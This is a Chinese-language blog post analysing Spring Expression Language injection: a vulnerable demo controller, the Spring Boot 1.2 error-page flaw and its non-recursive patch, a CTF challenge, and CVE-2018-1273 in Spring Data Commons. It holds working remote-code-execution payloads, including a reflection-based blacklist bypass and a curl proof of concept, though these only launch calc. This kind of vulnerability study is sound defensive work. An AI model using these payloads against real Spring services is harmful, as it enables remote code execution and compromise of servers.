大家好，又见面了，我是你们的朋友全栈君。
Spring Expression Language(简称SpEL)是一种强大的表达式语言，支持在运行时查询和操作对象图。语言语法类似于Unified EL，但提供了额外的功能，特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的，所以允许将其集成到其他应用程序和框架中。
个人理解就是Spring框架中的一种语言表达式，类似于Struts2中的OGNL的东西。
一个最基础的触发例子
@RequestMapping(“/spel”)
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
直接将用户的输入当作表达式内容进行解析。
输入一个简单的乘法运算 2*2 ，可以看到返回的值是经过解析后的 4
执行下系统命令
/spel?input=new java.lang.ProcessBuilder(“calc”).start()
Spring Boot SPEL表达式注入
算是一个比较早期的漏洞，影响的版本有
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
这里测试使用的是 1.2.0 的版本
1.2.0.RELEASE
漏洞触发的条件是在错误页面中输出用户可控的值，如下是一个简单的demo
@RequestMapping(“/”)
public String index(String payload){
throw new IllegalStateException(payload);
}
直接将用户的输入抛出了个异常，访问之后就是一个Spring Boot熟悉的错误页面
并可以看到将 payload 的值输出到了页面中，但输入一个SPEL表达式 ${xxx} 时，却会返回解析之后的值
漏洞分析
找到生成错误页面的代码断
spring-boot-autoconfigure-1.2.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class:101
在SpelView的render方法中打下断点
可以看到是在 this.helper.replacePlaceholders(this.template, this.resolver) 中生成了错误页面，然后返回给result
template 就是错误页面的模板，其中也包含着几个SPEL表达式变量
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
${timestamp}
There was an unexpected error (type=${error}, status=${status}).
${message}
在变量 map 里已经获取到了这几个变量的值
跟进 replacePlaceholders 函数之后可以来到 PropertyPlaceholderHelper.class:59
while循环中循环解析 {xxx} 的表达式，例如第一个解析到 {timestamp} ，取出中间的值，然后通过
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
跟进去看一下具体的处理方法
可以看到这里将表达式中间的值带入了SPEL表达式进行解析，然后返回了对应的值(返回前还进行了一次 html 编码，防止XSS
让我们来跟一下处理 ${message} 时的处理方式
可以看到在取到 ${message} 的值 propVal 之后，由于其不等于null，于是又递归进行了一次 parseStringValue
由于此时的 propVal 值为 ${2*2} 就会和之前的解析表达式流程一样再进行一次SPEL表达式解析。
可以看到此时将 ${2*2} 解析成了4，然后返回在了页面中，从而触发了漏洞。
由于这里SPEL返回值时进行了一次html编码，所以导致取出的 ${message} 值时会进行一次转义，因此之前的payload
${new java.lang.ProcessBuilder(“calc”).start()}
需要进行一些小小的改动
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
漏洞补丁
新增了一个 NonRecursivePropertyPlaceholderHelper 类用以防止递归
测试环境为1.3.1
可以看到 SpelView 中的 helper 变成了 NonRecursivePropertyPlaceholderHelper
private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper(“${“, “}”);
当第一次解析的时候，可以看到
此时 placeholderResolver 的 resolver 是一个 ExpressionResolver 类型
但是当递归解析时
就被嵌套了一层，从而变成了 NonRecursivePropertyPlaceholderResolver
然后再每次解析表达式前，也增加了个判断
public String resolvePlaceholder(String placeholderName) {
return this.resolver instanceof NonRecursivePropertyPlaceholderHelper.NonRecursivePlaceholderResolver ? null : this.resolver.resolvePlaceholder(placeholderName);
}
如果是 NonRecursivePlaceholderResolver 类型就直接返回null，从而停止递归解析。
Code-Breaking javacon
上学期p神的一道代码审计题，由于根本不会 java 那时候就空着了。如今回过头来发现也是一道SPEL注入题，感觉难度其实比其他 PHP 的要简单不少，但是耐不住Java的入门门槛稍高。
题目逻辑就不梳理了，看一下代码应该就能看懂，直接来看存在漏洞的部分。
@GetMapping
public String admin(@CookieValue(value = “remember-me”, required = false) String rememberMeValue,
HttpSession session,
Model model) {
if (rememberMeValue != null && !rememberMeValue.equals(“”)) {
String username = userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute(“username”, username);
}
}
Object username = session.getAttribute(“username”);
if(username == null || username.toString().equals(“”)) {
return “redirect:/login”;
}
model.addAttribute(“name”, getAdvanceValue(username.toString()));
return “hello”;
}
重点在 getAdvanceValue(username.toString()) 中
private String getAdvanceValue(String val) {
for (String keyword: keyworkProperties.getBlacklist()) {
Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
可以看到这里进行了明显的SPEL表达式的解析。但是在解析之前会进行黑名单的校验
keywords:
blacklist:
– java. lang
– Runtime
– exec.*(
在控制器中可以看到，其实表达式的值 username 是可以通过Cookie中的 remember-me 来控制的，但是经过了一点加密。
但由于是白盒，这层加密也可以直接看到加密算法。这样我们就可以控制SPEL中传入的值了
提一句，一开始我以为页面中返回的值是 model.addAttribute 中的 name ，后来看了下html页面中发现只是打印了 ${session.username}
这里为了方便调试，将 name 的值也打印了出来
>
>
>
This is admin panel.
>
>
>
加密的算法也在 Encryptor.java 中，我们可以通过这个来生成对应的密文
public static void main(String[] args){
String rememberMeKey = “c0dehack1nghere1”;
String encryptd = Encryptor.encrypt(rememberMeKey, “0123456789abcdef”, “#{2*2}”);
System.out.println(encryptd);
}
可以看到 name 的值确实就是传入的SPEL表达式解析之后的值
说一个自己遇到的小疑惑，之前Springboot的例子中SPEL表达式的标识符是 {} 这个可以从代码中看到是匹配了， { 和 } 标识的，那为什么这里的标识符是 #{}
我们可以来到解析SPEL表达式的地方，发现这里其实是多了一些东西的。
> ParserContext parserContext = new TemplateParserContext();
> Expression exp = parser.parseExpression(val, parserContext);
>
这里在解析表达式的时候传入了第二个参数 parseContext ，这是个 ParserContext 类的参数，里面就定义了SPEL表达式的标识符。这也就是这里标识符用 #{} 的原因了
继续回到题解上，由于有黑名单的限制，所以之前命令执行的payload传入时会被检测到，这里来看下别的师傅的payload。
#{”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘ex’ ’ec’,”.getClass()).invoke(”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘getRu’ ’ntime’).invoke(null),’calc’)}
好吧，是有点长，看起来有点晕。从 getClass 、 forName 、 getMethod 、 invoke 这些函数可以看出是用了反射的机制。
我们可以一步一步来分析下这个payload
”.getClass()
// class java.lang.String
”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’)
// class java.lang.Runtime
”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘ex’ ’ec’,”.getClass())
// public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘getRu’ ’ntime’)
// public static java.lang.Runtime java.lang.Runtime.getRuntime()
”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘getRu’ ’ntime’).invoke(null)
// java.lang.Runtime@c2939a
”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘ex’ ’ec’,”.getClass()).invoke(”.getClass().forName(‘java.la’ ’ng.Ru’ ’ntime’).getMethod(‘getRu’ ’ntime’).invoke(null),’calc’)
// java.lang.ProcessImpl@f2f85c
可以看到，其实整个payload就是在凑 invoke 需要的参数，通过 forName 和 getMethod 来获取 Runtime.exec 的函数和类。
这样就可以将 java.lang.Runtime 和 .exec 用字符串拼接的方式进行黑名单的绕过。最后命令执行。
这里就弹个计算器以表尊敬
CVE-2018-1273: RCE with Spring Data Commons
漏洞POC为
curl -X POST http://localhost:8080/account -d “name[#this.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘calc.exe’)]=123”
漏洞分析
漏洞触发点为 spring-data-commons-1.13.10.RELEASE-sources.jar!/org/springframework/data/web/MapDataBinder.java:158
可以看到是一个很明显的SPEL表达式的注入。
查看调用栈可以发现，此处应该是一个 Data Commons 自动化绑定传入参数的操作。
@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {
MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
binder.bind(new MutablePropertyValues(request.getParameterMap()));
return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}
可以看到最后将传入的参数进行了绑定。之前触发漏洞的地方 setPropertyValue 就是在设置参数的值。
把传入参数的key值取出然后进行了SPEL表达式的解析。
从而触发了漏洞。
漏洞修复
可以看到将之前的 StandardEvaluationContext 替换成了 SimpleEvaluationContext
SimpleEvaluationContext 对于权限的限制更为严格，能够进行的操作更少。只支持一些简单的Map结构。
再次执行POC时可以看到，虽然参数还是传入了 context 中，但是执行 setValue 的时候会抛出异常，从而无法进行攻击。
References
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/194814.html原文链接：https://javaforall.cn
